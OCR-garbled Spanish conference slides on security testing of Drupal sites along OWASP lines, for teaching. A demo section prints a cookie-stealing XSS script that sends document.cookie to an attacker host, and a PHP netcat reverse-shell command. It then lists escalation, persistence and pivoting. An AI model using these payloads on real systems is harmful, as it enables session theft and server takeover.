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Sobre mi

Formacidn
@ Ingeniero Técnico en Informatica - UCA
@ Master en Ingenieria del Software - US
@ Maister en Seguridad de las TIC - US

Experiencia
@ 4-+ ainos como desarrollador web, mas de 2 en Drupal
@ Actualmente: DevOps Drupal
@ Python, C++, GNU/Linux, network programming. ..

Aficiones
@ Rock'n'Roll (guitarra) y videojuegos

@ Narrativa fantastica, rol, cine. ..
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Introduccidn

i Qué es la seguridad?
e Confidencialidad
@ Integridad
@ Disponibilidad

@ Autenticacion

IMPORTANT THINGS:

2 § 9 o
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Introduccidn

Principios basicos
@ Seguridad en profundidad

Minimo privilegio

@ Eslabon mas débil

@ Proporcionalidad

o Participacion universal
°

Integracidn con ciclo de
vida

CRY= = Er =
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Introduccidn

@ Open Web Application Security Project
@ Fundacién sin animo de lucro

e Multitud de proyectos: algo cadtico

@ Metodologia de analisis de seguridad web
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La importancia de la seguridad

El jefe de proyecto
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La importancia de la seguridad

El proyecto en produccion
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La importancia de la seguridad

El “hacker”
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La importancia de la seguridad

La vulnerabilidad
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La importancia de la seguridad

El resultado
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OWASP Testing Guide

Estructura
@ Testing framework
o Catdlogo de pruebas
o Enfoque de caja negra

@ Cémo hacer informe
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Recogida de informacién

# € a drupalcamp.lxc ~e¢ % B ¥ [B-coogle qQ

Drupal 7.28, 2014-05-08

- Fixed a regression introduced in Drupal 7.27 that caused JavaScript to break
on older browsers (such as Internet Explorer 8 and earlier) when Ajax was

Hacking con buscadores (fichero robots.txt)
“Fingerprint” de servidor, framework, versiones. . .

Crawlers, spiders, robots. ..

Herramientas automaticas: Burp, ZAP, Nikto2
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Pruebas sobre configuracién

$ curl -sILk -X OPTIONS httj
HTTP 0K
Wed, May
Microsoft-IIS/
X-Powered ASP.N
MS-Author- : DAV
Content-

Accept nor
DAV

OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL
PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK
Cache private

Métodos HTTP permitidos (PUT, DELETE, TRACE)
Gestién de extensiones

Configuracién de plataforma (Apache, PHP, MySQL. . .)
Revisar backups en el drbol web (*.sql, *.bak...)

Escaner de puertos (Nmap)
Firewall/IDS/Web Application Firewall
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Gestién de identidad y autorizacién

] drupal.org

a","Zekish":"Zekish", "zeki":"zeki", "zeki.vazquez":"zeki.vazquez", "zekic":"zekic", "zekiceting5":"

@ Definicién de roles (filtros de entrada, permisos asignados)
@ Enumeracién de cuentas de usuario (médulo views)

@ Ataques de fuerza bruta (Hydra, médulos de Captcha)

@ Referencias inseguras (cambiar [nid] en /node/[nid])
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Autenticacion

@ Credenciales por canal inseguro (MitM, médulo securepages)
@ Politica de contrasefias débil (médulo password_policy)

@ Recordar contrasenas: jse vuelve a enviar la pass?
°

Sistema de autenticacién (Drupal Ok, pero j modificado?)
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Gestidon de la sesidn

Duracién de la sesién (session_expire y autologoff)
Gestién de cookies (cifrado, atributos httpOnly y Secure)
Robo de cookie de sesién = Robo de identidad

Cross Site Request Forgery (no sélo forms)
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Validacion de datos de entrada

Cross Site Scripting

SQL injection

Polucién de parametros HTTP
Inyeccién de cédigo

Subida de ficheros

En Drupal:

filter_xss
db_query
check_plain
check_markup
check_url
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Gestidon de errores

Error

0 PDOExceprion: SQLSTATE[42000]: Syntax error or access violation: 1139 Got error 'parentheses not
balanced' from regexp: SELECT COUNT(*) AS expression FROM (SELECT 1 AS expression FROM
{node} n LEFT OUTER JOIN {biblio} b ON n.vid=b.vid INNER JOIN {biblio_types} bt ON
b.biblio_type=bt.tid INNER JOIN {biblio_contributor} bc ON n.vid = be.vid INNER JOIN
{biblio_contributor_data} bed ON bed.cid = be.cid WHERE (bed .name RLIKE
:db_condition_placeholder_0) ) subquery; Array ( [:db_condition_placeholder 0] => [[:<:]]([[:>:]] ) in
PagerDefault->execute() (line 74 of /home/cslipublic_htmitincludes/pager.inc).

The website encountered an unexpected error. Please try again later.

@ Exposicion de cédigos y textos de error

@ Exposiciéon de trazas
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Mas testing. ..

o Criptografia débil
@ Heartbleed
@ Errores en légica de negocio

@ Tests en lado de cliente

@ No solo web. ..
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Vulnerabilidades mas comunes

Vulnerabilities by Type

W XSS

M Access Bypass
CSRF

M SQL Injection

B Code Execution

Clarification, PSA,
stc.

B Session Fixation
Others
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Un vector de ataque simple

<script>
var xmlhttp = new XMLHttpRequest();

xmlhttp.open("GET",
"http://10.0.3.3/?cookie=" + document.cookie,

true);
xmlhttp.send();
</script>

@ Deteccién de XSS almacenado (filtro “Full HTML")
@ Inyectar JS que envia cookies a atacante (SOP, httpOnly)

@ Atacante inyecta cookie en su navegador

Ezequiel Vazquez De la calle Hacking Drupal



Un vector de ataque simple

% nc -lkp 4444

W

<?php exec("nc -c bash 10.0.3.3 4444"); ?>

Activacion de médulo “PHP filter”
Modificar nodo para que use este filtro

Ejecutar comandos de sistema desde PHP (disable_functions)

Lanzar shell reversa con netcat (cortafuegos saliente)
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iDemo time!




Un vector de ataque simple

A partir de aqui. . .
@ Escalado de privilegios para obtener root (CVE-2014-0196)
@ Persistencia del acceso
@ Técnica de pivoting: escanear red interna

@ iEn la imaginacién (y en el contrato) esta el limite!
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En resumen. ..

o Responsabilidad de todos

o Seguridad en todo el ciclo de vida
o Seguir las buenas practicas

o Siempre habra fallos de seguridad

o La importancia de la formacidn
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En resumen. ..

REVISIONES DE SEGURIDAD

"Yo he visto cosas que vosotros no creeriais"

http://sevillasecandbeer.org
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iGracias!

¥ @RabbitLair
™ ezequielvazq[at]gmail[dot]com
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